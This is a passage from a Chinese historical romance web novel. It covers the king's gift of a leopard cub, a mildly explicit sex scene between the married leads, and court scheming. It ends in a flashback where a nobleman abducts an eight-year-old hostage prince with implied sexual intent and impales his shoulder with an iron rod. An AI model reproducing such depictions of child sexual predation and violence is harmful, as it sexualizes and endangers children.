朵妲儿独自一人纵马回到场中,只见她手勒马头,环顾四周,一脸茫然,似是在找什么人。
“怎么回事,大王呢?”阿多图立马上前。
朵妲儿反问道:“大王没回?”
呼延吉飞马在前,她完全追撵不上,后来距离越拉越大,远远见他越过一个土坡,便看不见人了,待她一路追去,到了小清溪仍是不见半个踪影,她以为他先回了,便策马往回。
江念腾得从案后起身,奇怪怎么不见呼延吉,就要出帐问个究竟,却被丹增劝住。
“梁妃安坐,老奴去问询一番。”
江念点头:“宫监速去。”
朵妲儿同君王一道消失在众人眼前,若呼延吉就此出事,那朵妲儿乃至整个朵家,只怕罪责难逃。
不论王室旁系或是其他上姓、世家,皆可以此为由声讨朵家。
阿史勒和罗疏若有所思地睨向朵阿赤,见他面色难看起来。
朵阿赤往朵家帐中望去,见他父亲站起身,面色亦是十分凝重,于是不发一声地快步走到场中。
“大王呢?”朵阿赤问向朵妲儿。
朵妲儿正待要说,远处传来马蹄飞踏之声,众人抬眼望去,正是呼延吉,一人一马回了。
众人立时松下一口气,面色和缓过来,朵妲儿纵马上前迎向呼延吉。
“大王叫人好找,明明跑在前面,怎的回来不见人,妲儿不管,这场比试,大王输给妲儿了。”女子腔调带着委屈。
呼延吉驾坐于马上,低低地看了她一眼,心情不错的“嗯”了一声:“本王认输,你想要什么赏赐,或是看中什么,回王庭后叫内侍司赏你。”
说罢一手勒绳,驱马到王帐的看台下,翻身下马。
朵妲儿跟在后面,见他始终单手控辔,另一手端在怀里,好像有个什么东西。
江念见呼延吉走来,迎了上去,拿帕子替他拭额上的汗:“见不到你的人,刚还让大宫监前去问询……”
呼延吉从怀里掏出一物,说道:“阿姐,你看。”
江念低眼去看,惊愣在那里,一时竟说不出话来。
“这是……”
只见呼延吉怀里好小一团幼兽,身上铜钱大小的黑黄圈纹,细软的毛发,在呼延吉怀里很是凶残地奶叫着。
“小花豹,喜不喜欢?”
他特意找的,知道她喜欢这些带毛的小畜生,便试着搜找,还真让他找着了。
江念有些难言,问道:“给……我的?”
“我怕你在王庭无聊,给你找个小东西儿,打发时间,喜不喜欢?”
江念眼睛有些发酸,狠狠地点头,然后伸出手,从呼延吉怀里小心地抱过小豹,轻声道:“它太小了,吃什么呢?”
呼延吉想了想:“豹子的话……吃肉,吃骨头罢。”
江念嗤地一笑:“牙都没长齐呢,怎能吃肉骨头……”想到什么,语调一换,“大王莫不是把母豹给杀了?”
“母豹的影都没有,小畜生‘哇,哇’地哑叫着,它不叫我还发现不了它。”
江念这才放心,笑了笑,说道:“给它取个名儿罢。”
呼延吉见她欢喜的模样,就觉着今日值了,接过宫人递上的茶水,连着喝了三杯。
江念双眼亮起,说道:“叫闪电,如何?”
呼延吉差点呛住,心道,一个追风,一个闪电,倒是齐了。
王帐里的情形,场上众人自然看了个清楚,这么一对比,朵家女儿赢得比试就显得无足轻重了。君王这一手真叫朵家上不上,下不下,面子给你朵家了,却叫你得意不起来。
你朵家女想彰显自己特别,却不知,真正的殊待是君王给的,而不是你开口要的。
朵氏在锦帐中看了,笑出声,朵妲儿啊,剁妲儿,你也有今日,再侧头看朵家帐中自己父亲的面容,心里更加畅快了。
呼延吉携江念先行离开,众人恭送,今日狩猎之境况,内侍司等几个司部已有记下,之后便会例行赏赐,不多久,各家家主及子弟,在奴仆环伺中登车依次序离场。
最后由禁军清场。
江念同呼延吉回王庭乘马车,没再坐金辇,回去的路上,天已暗下来。
白日的燥热渐渐褪去,纱帘飘起,摩挲出风的形状,拂在脸上很舒柔。
天边红灰灰的霞色,像是一层被烘烤了一天凉下来的金沙粒。
江念透过车窗往外看了一眼,街上亮起昏黄的灯火,各家酒肆开始进客,同白日不一样的热闹。
车里暗暗的,也很安静,只有车轮辘辘的声音。
江念放于膝上的手在幽暗中被呼延吉牵起,然后交握在一起,她将头搁在他的肩膀上。
“吉儿……”
呼延吉在暗中“唔”了一声。
寂寂的一刹那后,安静无限延长,两人皆是不语,就这么默然依坐着。
回了西殿,江念先沐洗过,走进寝屋,然后吩咐阿星将小豹子抱下去,喂些羊奶,算是给她找了一件不用伺候人的事,阿星欢欢喜喜地抱着小豹子下去了。
平日,江念静的时候比动的时候多,今天比试骑射,真是有些吃不消,胳膊和腿使力过度,只剩下绵软。
“你今日也累了,下去歇息罢,这里不用伺候。”江念对秋月说道。
秋月应下去了。
待秋月走后,江念懒懒地枕在桌上,将揎起的藕色衣袖往下拉了拉,盖住小臂,忽然眼睛定在那截衣袖上,怔怔地看了一会儿,站起身,走向大衣柜,打开柜门。
呼延吉沐洗毕,散着一头湿漉漉的发走进寝屋,因发丝湿着,比原本的颜色深了一个度,可那一双眸色却又洗得更加清浅剔透。
他才一进屋,就怔在那里,看着对面的江念,不解道:“你不是在我前面沐过身么?”
女人“嗯”着应了一声。
“那你这是……”
只见江念换下轻薄的藕色寝衣长衫,穿上早晨看中的那件猩红滚金边的骑装,一头半湿半干的发用玉簪子随意束起。
上衣是换了,可下面仍穿着一件宽大的束脚白绫裤儿,赤脚踩在软软的毡毯上,却也有种别样的韵味。
江念睨了一眼呼延吉,白日堵在胸口的气非得说出来,不然今晚睡不着。
她是长他几岁,却也不是穿不得这鲜嫩的颜色,怎么就不合适了?怎么就不能穿了?她偏要穿。
江念走到呼延吉面前,问道:“大王,妾身穿这个颜色的骑装不好看么?”
“好看。”
“哪里好看?”她得问个明白,如此才好辨别他言语中是真心还是敷衍。
呼延吉低低地看向她,微笑道:“哪里都好看。”
这话一听就是敷衍,江念哪里肯依,掉过头,走到矮案边歪坐下,肘弯撑在桌上。
呼延吉不明所以,这是唱得哪一出,遂坐到她的身边,轻轻地捏了捏她的脚踝,问道:“你问我穿这骑装好不好看,我说好看,怎么就恼了?”
“若真好看,为何晨间那会儿不让我穿,说这个颜色不合适。”江念把脸别向另一边。
呼延吉并未将此事放在心上,她若不提,他早就忘了,所以当她把那话重拎出来,他还回想了一会儿,才给出反应。
“那件翠色的也好看,怎么就非要穿这件红色骑装,红色的这件确实不太合适。”
江念一听更是委屈,问道:“是不是因为这颜色太过鲜嫩,妾身穿不得?”
呼延吉怔了怔,摇头笑道:“原来是因为这个。”说着站起身,朝她伸出手,江念迟疑了一会儿,将手搭上去,站了起来,他牵着她走到床榻边,坐下,说道,“我说这个颜色不合适,并非不合适你,而是不适合今日的场合。”
“怎么不适合今日的场合?我见别家女子也有穿红色。”
“这颜色太打眼了,狩猎意外太多,不怕一万就怕万一,穿翠色或是青色会好些。”
江念听说,这才明白,原是他担心自己,替她考虑周全,一时间有些窘迫地无言。
“倒是我多心了,容我把这身衣裳换下。”
呼延吉拉住她,将她带回床榻,心里有些感动,明白她心里的在意,以及执着于那件猩红骑装的原因。
她在迎合他,可能连她自己都没察觉到,这份迎合中还有一丝舍去自我地讨好。
他伸手到她的脑后,除去玉簪,一头未干透的发丝散开,篷出湿湿的香气。
呼延吉站起身,宽去软绸长衫,露出精赤的上身,低睨着眼,挑起江念的下颌,指在她丰软的唇上抚了抚。
“阿姐,你用不着那样小意讨好,你怎么样我都是喜欢的。”
江念仰着脸,看着他,爱得深刻时,便会不知不觉变得不像自己,她又是何时走到了这一步。
“我去换下它。”江念喃喃道。
呼延吉轻笑,俯下身:“你不就是穿给我看的么,我喜欢,别脱了,白天我见你穿那骑装一颠一颠的……一会儿你就穿着它,在上面,咱们来一次,好不好?”
江念面色通红,红得要滴血,有些慌乱地想要逃离,却被呼延吉笑着拦腰抱回。
“羞怎的,本王给你当马儿骑,谁能有这个待遇?”
“你再不好好说话,我可恼了。”江念嗔道。
呼延吉低下眼,刚才挣抱中,使得她红色滚金边的衣领微微散阔,兴是换衣太过仓促,猩红骑装下竟未着衬衣,只有一件短小的抹胸。
这可不是要命嘛……
第134章 骑装入帐
呼延吉将纱帐打下,把江念抱到榻间,手往她猩红的骑装里探。
虽说二人早已亲密无间,温存之时也如糖拌蜜,多半时候是呼延吉迁就她,每每行事之时,还需得屋内暗着,不能太明,否则江念就不情不愿。
可呼延吉偏就喜欢屋子里亮堂堂,帐子里明亮亮,他就想看她,不愿错过她面上的任何表情,还有身上细微的反应。
在这件事上,二人最后各退一步,也不暗着,但也不亮着,点几根细烛,黄暗暗的光撑满不了一屋,却能让帐间朦胧。
对于枕上风月,江念每每都需呼延吉挑弄一番,才得以舒展,所以当呼延吉让她穿着骑装入帐,她是万分不愿,在她看来,这番作态很不像样,有些难言的羞耻,像是把她正正经经的一面给扒了下来。
直到现在江念连那声“夫君”都叫不出口,一让她叫,她就卡在嗓子眼,更何况让她穿着骑装,乘于呼延吉之上。
女人的衣裳已经散了,仍一手死死地拽着衣襟处,不让呼延吉更进一步。
“我不惯这样……”江念细喘道。
呼延吉也燥的一身热,又抵不住她软声求告,怕她真恼,再看她那一副誓死不屈的模样,他都觉着自己像个侵占良家女的强盗。
“好,好,我不迫你,那你去把骑装换了,咱们还同先前那样?”
江念便不再说了,从床上坐起,出了床帐,背着身,宽去猩红骑装。
呼延吉靠坐在床头,侧过脸,一双眼透过纱帐,看向灯下的人儿,撇了撇嘴,心道,还不是被我看得清清楚楚。
待江念换好软绢衣,踢了鞋,躺回被中,呼延吉翻到她上面,探手到她裤腰处,抽去系带,问道:“这样可以?”
江念点了点头。
呼延吉闷笑出声,却也无法。
他念她白日累着了,也不久折腾,只让她侧着身,从后揽着她,让她仰靠着他的肩头,露出优美的纤颈,男人彪腹轻行缓荡……他在她光洁微湿的后背,啃吮出几朵红痕,是春雨后绽放的红梅。
事毕,江念已然睡去,呼延吉却睡不着,心想着,两人已是夫妻,她在这种事上一直放不开可不行,得想想办法……
话往回叙……
白日狩猎场,呼延吉走后,朵妲儿去了朵家锦帐中。
“父亲。”这是头一次,朵妲儿在他父亲面前抬不起头。
谁都没料到,呼延吉今日会把箭头对准朵阿赤,这无疑在打朵家的脸,朵妲儿事后让呼延吉同她竞驹,实是想借此挽回朵家的颜面,呼延吉没有任何迟疑地应下了,算是给了朵家面子。
同时,朵妲儿又向在场之人昭示,她同君王关系的不同,一来她已进入王庭,在圣太后身边侍候,光这一点,就是近水楼台,再在众人面前同呼延吉竞驹,更是让所有人看清,大妃之位的人选,除了她不会有别人。
谁承想,呼延吉为搏美人儿一笑,特意逮了只小豹回来,当时,二人在王帐的情景,所有人都看在眼里,他们大王眼里除了那梁女,根本没别人。
一个转眼,朵妲儿的举动就变成了笑话。
朵尔罕两眼沉沉,下颌处的短须已是花白,男人面上喜怒太淡,看不出精神好坏。
“能做的你已做了,其他的,无须你管。”朵尔罕说道。
朵妲儿心里一紧,担心让父亲失望,担心自己同朵梵儿一样,成为弃子,落得一个不闻不问,不管死活的下场,于是说道:“那之后……”
很小的时候,她就知道自己的优处在哪里,生了一张乖觉的脸,长了一颗玲珑心,会讨巧,会哄人开心,在朵家,上上下下没人不喜欢她。
对她而言,人们对她的喜欢和称赞,是她最得意的成果。
她会弯着眉眼,扬着唇角,用最沉冷的心去调动旁的人情绪,她很满意自己的表演,像一个极为冷情的看客,坐在幽暗深处。
她同朵梵儿不同,朵梵儿这人太过感情用事,这是她最看不上的,不过,她有些怵朵梵儿,总觉着她这个阿姐有些疯性。
朵尔罕自然看出女儿的想法,说道:“你照旧回王庭,剩下的事无须管,你只需将圣太后哄好,偶尔去大王的西殿走动走动便可,用不了多久,他就会册立你为大妃。”
朵妲儿有些不明白,想多问几句,但也知道,该她问的她可以问,不该问的,问了也是白问,便不再言语。
只是……她想不通,今日呼延吉对梁女的态度,她也看在眼里,他怎么可能主动册她为大妃。
不过,父亲既然如此说了,那一定有万全之策,接下来,她要做的就是如以往那样,继续在圣太后跟前侍候。
……
之后的一段时日,江念无事之时,要么去制香堂,要么在殿院里逗弄小豹。
夷越没有四季,大多时候天气温和,也有一季较为炎热,冷的时候少,从她被呼延吉救回起始,中间又流落徽城几个月,如此一算,不知不觉中,她在这片土地生活快一年了。
江念将小豹交给阿星照顾,阿星也终于找到可做的事情。
其间,朵妲儿来过王殿几次,坐一会儿,两人便有一句无一句的搭话,其实也没什么可说的,不过是打发时间。
倒是朵氏一次也没来过西殿,平时江念去孔雀苑或是内苑等一些园中闲步,也很少碰见她。
虽说呼延吉免她去祥云殿请安,可说到底,高太后是呼延吉生母,又是夷越国最尊贵的女人,她若不去问安,被有心之人传扬出去,不仅她的名声不好,呼延吉也会被人诟病。
是以,江念每日晨间仍会去祥云殿请安,高太后没再为难她什么。
江念也有自知之明,通常高太后同朵妲儿闲说趣话时,她在一边不插嘴,只安静地坐着,若是问到她,才回应几句,一个人对另一个人没好印象,话多了不会讨人喜欢,只会讨人嫌。
这日,江念照旧坐在下首,朵妲儿侍在高太后身侧逗趣。
“妲儿,你先下去。”高氏说道。
朵妲儿怔了怔,看向坐在下首的江念,睛眸微霎,转而一笑,施过礼,退下了。
江念也跟着站了起来,恭声道:“太后可是乏了?容妾身告退。”
“你留下,陪我去后园走走。”
江念先是一怔,垂首应“是”,忙上前,随在高太后身侧,侍扶着她往后园缓缓行去。
两人在前走着,身后随了一众宫人,园子里树植森茂,投下大片大片的阴凉地,隐于树间的蝉,“嗞呦——嗞呦——”地叫着,一阵接一阵。
余光中江念见高氏颊上有些泛红,出言道:“这个天儿还是有些热,太后不若到前面的凉亭歇歇脚,喝点解渴的饮子压压燥气?”
高太后点点头,抽出帕子拭了拭额上的汗,待一众人走到凉亭,江念搀扶着高太后坐下。
因夷越气候的原因,这边的人有些喜喝热茶,有些则喜饮冷茶。
高氏虽说有些年纪,却喜喝冷泡茶。
江念从宫人手里接过凉水壶,将水沏入放有花茶的盏里,只略略将花茶叶子覆盖住,浸了一会儿,再用拈子从冰匣取出三粒块冰,堆在花茶上,待其慢慢化开,再双手呈到太后跟前。
冷茶同热茶不同,喝得就是一个鲜爽。
一边的金掌事见了,暗暗点头,经过这么些天,她也看出来了,这位梁妃在太后面前话不多,行止内敛,但当你问向她时,她总能答上话,且说到人的心坎上,这就很难得。
妲姑呢,好是好,有她在身边,太后自然是开心的,就是有些太刻意了,好似生生把人的笑拉出来遛一圈,遛完后,也不知在乐什么,只剩下无味。
而且,她发现太后比从前更容易疲乏,像是一天消耗了三五日的情绪。
要她说,她更喜欢这位梁妃,相处起来舒服平和。
高氏朝江念脸上看了看,见她热得腮颊发红,鬓发微湿,却不说什么,只是侍在她的身侧。
“不必站着,坐下罢。”
“承太后体恤,妾未觉倦乏,可侍奉左右。”江念说道。
高太后拿下巴指了指对面:“去坐下,免得那小子又怨我苛待你。”
江念谢过,这才走到高氏的斜对面虚坐下,宫人给她上了茶水。
“你们退下。”高氏吩咐道。
金掌事应是,带着宫人们退到凉亭外应候。
高氏先看了一眼对面的江念,在她面上望了两眼,然后侧过头,看向亭外的湖池,沉沉地叹了一息。
“叫你来,是有一件事情问你。”
江念慢慢抬眼回看向高氏,说道:“不知太后所问何事?”
“吉儿他……肩窝处的伤是怎么回事……”
第135章 他在梁国过得不好
凉亭的风带着烘烘的热气,江念看着眼前琉璃盏上的雾珠,一滴滴沿着杯壁向下滚落。
她听到对面高氏的声音再次响起。
“你同他自小生活在一处,一定知道,是不是?”
江念纤长的眼睫微微一颤,并不说话。
高氏扭过头,看向江念,知道她不愿说,也不着急再问,小儿子肩窝处的伤,也是她无意间看见的。
他因常常出征在外,回王庭时,身上多少会带些战伤,但这对他来说不算什么,年轻人身体强健,恢复起来快,休养十天半个月就好了,她从不担心。
直到有一次……
那个时候是深夜,四更天,她早已就寝,宫人唤醒她,说丹增在殿外求见。
像她这样年纪大的人,不怕白天有事,就怕晚上被叫起。
丹增是小儿子身边的随侍,是不是西殿出了什么事情,不然丹增怎会这个时候前来,骤然间,一颗心突突跳得两眼发花,扶着宫婢的双手颤抖不止。
见了丹增才知,小儿子征战归来,头一日还好好的,谁知今夜突然高烧起来。
“宣宫医了没有?”高氏问道。
“罗宫医在旁侍候,又另传了几名宫医,俱在西殿随时应候。”丹增答道,大王高烧昏迷不醒,此等大事,他做不了主,只能往祥云殿上报圣太后。
高氏一刻不敢耽误,蓬着头,披着衣,急急往西殿赶去,到了西殿,下了乘辇,在左右的搀扶下入到寝屋。
众人见了高太后,忙将榻前空出来。
高氏近到床前,看着榻上的小儿子,双颊通红,唇色亦是干红,问向一边的宫医:“现在病况如何?有无性命之忧?”
“回禀太后,若今夜能退烧,便无虞,若今夜烧退不下来……”罗布不敢再往下说。
高氏自然明白其意,看向床案上搁着的汤碗,碗底残有黄褐色药渣,料想当下只能静待高烧退去。
而她能做的,就是静守在儿子旁边,若他生,她便退回祥云殿,若他亡,这王庭还有她在……
偌大的王殿立了不少人,有西殿的宫侍,亦有祥云殿的宫人,还有随时应候的宫医们,光线通明的殿内却寂静无声,唯有极静极静的时候,高烛燃烧爆出的“噼啪——”声。
在众人看来,高太后的面色过于平静,没有一个母亲对待亲子病危之时的惊惶和焦急,仿佛还有沉静可贾,只能从她那头蓬乱掺白的发丝和不齐整的衣领,看出她曾乱过。
这时,床榻上的人传来闷哼,高氏往榻间看去,拿手盖在小儿子的头上试温,还在烧,又听他嘴里无意识地说着什么,也听不太清,随后他烦躁得扯下身上的衾被。
高氏只好再次替他盖上,也就是这个空当,她看到他未着里衣的上身,肩窝处凸起的疤痕,圈状,无法形容,但可猜出当时这里伤得很深。
落后,她让宫医看了,宫医说从疤痕看,不是新近的伤,是儿时有的。
其实,呼延吉在梁为质时,倒是时常和他兄长呼延成通信,信中自然是拣好的说,不过就算呼延成知道他过得不好,也不会将不好的一面告诉他们的母亲,高氏。
而高氏呢,她真就不知道呼延吉在异国的境况么?不是不知道。
高氏怎会不知呼延吉在梁为质会遭受什么,只是她不愿去面对,不愿去承认,有些自欺欺人的意味。
直到那日,两人因为高家的事争论,他站在她的面前,亲口告诉她,他在梁国过得不好,不,不是不好,是很惨。
从那天后,高氏心中郁结,不能坦然,江念来给她问安,她多次想开口问问她,呼延吉在梁国过得怎么样,有没有被欺负。
还有,他肩窝处的伤……是怎么回事……
“他告诉我,他在梁国多亏有你照顾。”高太后看向江念。
“妾身并没做什么,那个时候妾身玩性也大,大王也好顽,所以,一有好吃的、好玩的,妾就会叫上他。”江念笑了笑,又道,“与其说我照顾他,不如说他照顾我。”
高氏来了兴趣,说道:“怎么说?”
江念不知想到什么,抿嘴笑了会儿,说道:“从前妾在梁国,门户相当的贵女们并不大愿意同妾身走得近,妾虽得家中人爱护,却没个相伴说话之人,后来,偶然间遇上了王,那个时候他年纪不大,几岁的小儿,也没什么可避的,慢慢的,来往就多了。”
“还有呢?”高氏脸上带了一丝笑意,又问。
江念见高氏好似很有兴致,便把呼延吉儿时怎样被人欺负,然后他又怎么报复回去,讲到他如何整治兵部家的吴大郎,先是给那马儿喂泻药,后又在马鞍上附胶,使吴大郎不能下马,秽物沾衣,满街恶秽熏天。
听到这里,高太后再也忍不住笑起来,守在凉亭外的宫人们很是吃惊,太后同梁妃说笑?
江念断续说了些呼延吉在梁时的生活,说到后面,高太后不再只是旁听,会打断她的话,问一些有关呼延吉更深、更细的情况。
江念从前爱听戏、爱听书,自然也很会说故事,她会把呼延吉受欺辱的过程,轻淡化,然后将他复仇的快意放大,高太后听了如何不欢喜,笑得眼睛都没了缝。
呼延成在世时,没同高氏说自己阿弟在夷越的苦难,呼延吉归家后,亦没同高太后细说自己的酸惨,她更不可能在高氏面前述说他不堪的过往。
是以,她只挑了些不痛不痒的事哄高氏开心。
高氏是高家出来的,到她这个年纪,许多事不过是睁一只眼闭一只眼,装糊涂,并非真糊涂。
她当然看出了江念的用意,并不责怪她,但也不会就此被糊弄。
“梁妃,说了一圈,还是说回来罢,吉儿肩窝处的伤是怎么来的?”高氏端起桌上的花茶,呷了一口,嘴角虽有笑纹,眼底的笑已完全退去。
这个话,江念不能说,所以就算高氏再次发问,她仍默然不语,然而,江念越是这样,高氏越会弄清楚。
“我知道你的顾虑,就算你不说,我也会派人去查,我知他那师傅回了夷越,想找也找得到,只是事隔这些年,查出来的东西,未必是真,也许同实情相隔甚远,如此一来,岂不是更不好,待我再去问吉儿,又是一番不平静,不如你现下告诉我,我听过也就听过了,只捺在心里不说。”
江念思忖着,当年那事出了后,呼延成从夷越遣人赴梁护呼延吉周全,同时训练他的身手。
呼延吉的师傅是知情此事的,而他的这位师傅就在夷越,正如高氏所说,她若想探查,不难……
正在江念迟疑不定时,高氏又说了句:“不论亲与不亲,我总归是他的母亲,不要瞒我。”
江念轻叹一息,微微启唇,说道:“那一次,他差点丧命……”
那一年,呼延吉来梁国不到一年,应是他被她救下之后的半年内,大概在那个时间里。
呼延成给他弟弟指派的奴仆还未抵达夷越。
皇帝给呼延吉在城中赐有一座府邸,另给他配了奴仆,说是奴仆,实是看管和监视,且因他异样的容貌,异国人的身份,再加上他年纪甚小,对他的照看自然也就不上心了。
那个时候,他同她并不相熟。
春途中,她救下他,事后,他没有感激她,她也没有追要他的感激,不过就是随手救下的一小儿,她并没放在心上。
以呼延吉当时的身份,同江念是很难产生交集的,可就是这一日,两人才算真正相交。
江念喜好在茶楼听曲儿,通常叫家中下人先订一席位,再带秋水和几个小厮去茶楼,有时候一听就是一下午。
“娘子,咱们没订到最大的那间。”秋水坐在车里嘟囔着。
江念本是闭着眼的,一听说,妙目一睁,说道:“不是让奴儿提前三日就订下了,怎的又没订上?”
秋水撇了撇嘴,说道:“娘子你还不知道他们那些猴儿,婢子千说万说,只差提他们的耳朵了,叫他们订下后,把银钱付了,莫要空口白话,奴儿们只作耳旁风,结果叫别人抢了先。”
“是什么人?”江念蹙眉问道。
“说是平昌侯定下了。”
这个平昌侯,江念是知道的,四十来岁,位封县侯,是当今皇后娘家的一门亲,皇后求得皇帝给了一个平昌侯的虚衔,无实际封地,仅享食邑。
那平昌侯三十岁得了这么个头衔,又混吃等死十来年,如今已年岁四十余。
江念的好心情全被败坏,秋水递来一个剥了皮的果子,江念看了没胃口,若不是今日有名角来,她连那茶楼去都不想去。
“嘱咐下去,那个大席位,以后再不要订了。”江念说道。
秋水不明所以,问道:“娘子,这是为何呀?”
“让那么个泥猪癞狗一坐,那席位还能干净?”
江念见过那人,个头不算大,瘦精瘦精的,头顶梳一个油光光的髻,留两撇八字胡,穿一身华泽的缎子衣,整个人连同那名贵的衣袍都油得发亮。
茶楼共分两层,一楼是散座,二楼是封闭式的包间。
唱台在一楼,不过唱台很高,一楼看得话需得仰着脖,二楼的视角正好。
江念回回定下的二楼大席位被占,不得不在旁边的一个小包间将就,那小包间其实也够大,也够精美,但对于一向挑剔的江念来说,自然看不上。
不过当名角登场开喉唱曲儿时,她也就把这份不悦抛开了,一心只在那唱台上。
江念看戏听曲儿时,会很专注,尤其这种名角儿登场,她连喜欢的小食儿也不吃,顶多喝清茶润润嗓。
秋水自小随在她身边,两人既是主仆也是玩伴,养成了同她一样的喜好,看得也投入,这一投入就把茶水洒在了江念的身上。
那茶水又烫,这个季节,身上的衣物单薄,吓得秋水手忙脚乱。
“别拭了,拭不干净,快带我去后面更衣……”
第136章 我怕疼,轻一点……
秋水因看戏太过投入,无意中将滚烫的茶水泼洒到她家主子身上,吓得她直掉眼泪。
“快带我去后面更衣。”江念拿帕子往胸口掩着。
秋水赶紧护在江念身边出了包间,指着门外的两个小厮说道:“你二人留守这里。”说着又看向第三人,“你去马车里将娘子的包袱拿到后面来,快去!”
那人应下,一溜烟跑下楼。
秋水随在江念身侧,到了茶楼后院,这里专供贵客更衣、歇息之所,不算大的一方小园,嫩草如茵席,有亭轩、有湖池,湖池上架有小拱桥,还算是个不错的清幽地。
江念进了厢房,秋月上前用帕子将衣领处隔了起来,两人左等右等,也没等到拿包袱的小厮,就这么坐着也不是法。
“你去前面看看,是不是出了事,怎的这半天不来。”江念说道。
秋水应下去了。
江念坐在厢房里,不过一会儿,院子里响起脚步声,以为是秋水回了,再一听又不对,脚步声纷杂,显得慌乱,隐有男子的窃窃之声。
“快些,快些,这小子劲儿挺大的……”一个声音说道。
“叫我说,不如直接敲晕得了,省下许多事。”又一人说道。
“老爷千万嘱咐,让醒着,晕了还有什么趣味。”
说话声往江念这边行来,她立在门后,透过门隙,见两个护院扮相的男子,抬着一个麻布袋子,那袋子里的东西在动,还发出阻咽的“唔唔——”声。
只听其中一人说道:“这夷越小质子也是可怜,被老东西看中,这么捣弄一遭,怕是得残,啧啧——”
“嘘——你不要命,敢这样说,咱们做奴才的,主人家怎么吩咐,咱们就怎么做,你管恁多。”说话之人,顿了一会儿,又道,“他一个蛮国小儿,异国他乡,还不是任人搓圆搓方,要怪只怪这孩子生得太漂亮……”
江念倚在门后,算是听明白了,事情头尾也能料个大概,无非就是上流人做着下流事。
她并不想多管闲事,家中下人还未来,她也不想待在这里见乌糟事脏眼睛,正待起身离开,院子里又响起脚步声,走进了隔壁那间房。
接着那边的声音清清楚楚传来。
“老爷!”奴仆恭声道。
一个低哑声响起,像是喉咙里堵着一口浓痰:“把人放出来。”
这个声音,江念听着耳熟,似是在哪里听过,再一联想秋水说平昌侯今日也在,当下确定,这位老爷就是平昌侯,皇后娘家的一门亲。
“这小子气力极大,放出来的话只怕……”
那平昌侯一声叱喝:“你二人还降伏不住他一个八岁小儿?”
“是。”
接着就听见隔壁“哐当”“咔嚓”“咚”,桌椅倒地声、门板拍撞声、瓷器脆地声,一阵乱响,很是乱了一阵……
江念不知怎的,一颗心揪起来,这时那边也安静了,安静得很突然,让人心慌。
“压住他!压到桌上!”那平昌侯急声道。
两人仆从明显有些气喘,显得很吃力:“老爷,这小子牛犊子似的,不好制伏,一会儿您也不好办事呐……”
停顿不过一瞬,就听那平昌侯说道:“去拿个铁棍来!拿铁棍!”
江念不想多管闲事,可现在满脑子就是那孩子的脸,心里越慌,那张漂亮的脸就越挥之不去。
现下她也不过一个人,不知秋水和小厮为何去了这么半晌不回,定是出了什么事情,就算她有心施救,又能怎么救。
正在思索间,一道闷声惨叫透壁而来,那声音激得江念身上细毛立起,是那小儿的声音!
也就是这一声,让她完全失了智,什么也顾不得,冲到隔壁,那门虚掩着,想是刚才争乱时被抽开的,结果人没逃出去,又被拖回。
“砰——”的一声,江念踢开门,震得梁灰簌簌落下。
待她看着屋里的情形,只觉得两条胳膊冰凉,眼球震颤不止。
那小儿整个趴伏在桌面,嘴里被塞着破布,头发湿黏在脸颊上,一根拇指般粗细的铁棍,将他的肩窝对穿,生生把他钉在桌面上。
他瞪视着她,像是砧板上待宰的鱼。
屋中之人听到声响,俱是一惊,齐齐看向来人,见不过一个十来岁小女娘,放下心来。
江念脑速飞转,强装镇定,先声夺人:“平昌侯爷,你好大的胆子,连夷越小质子也敢动?!”
平昌侯本不将这小女娘放在眼里,听她一口叫出自己的名号,一颗心又提了起来。
“敢问这位小娘子是……”
江念见这男人蓄留两撇八字胡,头脸油光,心里泛恶心,哪愿意报自己的名号,可不报出江家,便震慑不住他。
“小女子姓江,京都江家人。”
平昌侯眯起眼,把对面女子打量一眼,见其生来娉婷,衣着华奢,不疑有他。
这江家小女郎他是听过的,在京都贵女中头一份,家中十分宠爱,怎的这样不巧,被她撞见。
他第一眼见夷越小质子,惊叹连连,小儿生得太过漂亮,也知此小儿的身份,不是他能动的。
可只要是他相中的,不管是人还是物,非要弄到手,遂找人探知,这小质子身边无一可倚仗之人,夷越遣送的人还未到,如今身边的仆从都是梁人,根本不尽心,那心思便又活泛起来。
他本想着办完事,神不知鬼不觉再把夷越小儿给处理掉,等夷越来人,也晚了,查无可查,死无对证。
如今事还未办,却被撞破,看来得重新计议了,男人往江念身后看了看,独她一人……
江念见他眼光渐沉,心道不好,忙调转语气:“侯爷不用看,我身后没人,但我江家护卫已匿在暗处。”说着,端举双手,缓缓往屋内走来,走到平昌侯面前,扬起下巴笑了笑,一转身,一抬手,指向屋外:“那里,还有那里,皆匿有我江家暗卫,不若侯爷派人去查探查探?”
平昌侯并不怀疑,世家贵女怎会没人随护,于是忙堆起笑:“江家小娘子说得哪里话,只是……今日这事……”
江念扬唇一笑:“夷越小质子才来京都不久,料想平昌侯不认得,这才误伤了他,这也没什么,小事而已。”
平昌侯听了,眼睛一亮,连连说道:“不错,不错,小娘子说得对,本侯哪里认得什么夷越小质子,哎呀,这也是误打误撞。”
江念眼梢一斜,又道:“侯爷尽可放心,这种事情,转眼就忘了,谁会记得,别说是侯爷你了,只怕连小质子也是不记得的,我更是不记得。”
平昌侯揣摩此话的意思,暗道,这事毕竟不光彩,只有捂下,没道理还大肆宣扬,只是可惜眼看到嘴的肉没了,心中顾虑一消,也就不再多待。
“本侯原是来听戏,不想遇着一小贼,扫了兴,走了。”
平昌侯甩着衣袖,摇头播脑地带着两名仆从离开。
江念立了一会儿,见平昌侯和他的两个奴仆从园中离去,赶紧关上房门,反插上门闩,走到桌边,见小儿两眼紧闭,眉头蹙着,铁棍死死钉着他,一端穿过他的肩头,一头钉在桌面。
江念弯下身,拉下他嘴里的破布,问道:“死了没?”
小儿睁开眼,那一双湿漉漉的双眼就这么直直撞进江念眼里,是清溪下随波缓动的淡色金沙,粲然中漾着水光。
那双眼辉光灿灿的,好看是好看,却很凉。
他看了她一瞬,又痛苦地闭上眼,没一会儿,再次睁开,那凉意没了,同先前完全两样。
“阿姐,我好痛,帮我取出来……”
江念先是一怔,回过神来,他在叫她,声音如此好听,甜净又乖巧,就这么的,她那颗心在小儿一声声的“阿姐”中迷失了。
她看着那根长长的铁棍,根本不敢触碰,他的肩头已经血糊一片。
“呼延小王子,你再忍忍,我叫人来……”
江念话说出口,才发现自己的声音颤抖得厉害。
“不要叫人来,帮我拔出来就好,我忍得。”
话音刚落,就听到隔壁拍门的声音:“娘子,开门,婢子拿了干净衣裳来,原是糊涂人将咱们的马车赶错了,叫奴儿追了好一会儿,才撵回来……”
江念捉裙,三两步到门前,一面说着就要开门:“秋水,我在这……”
“莫开门!”
小儿的声音让她抽门闩的动作止住。
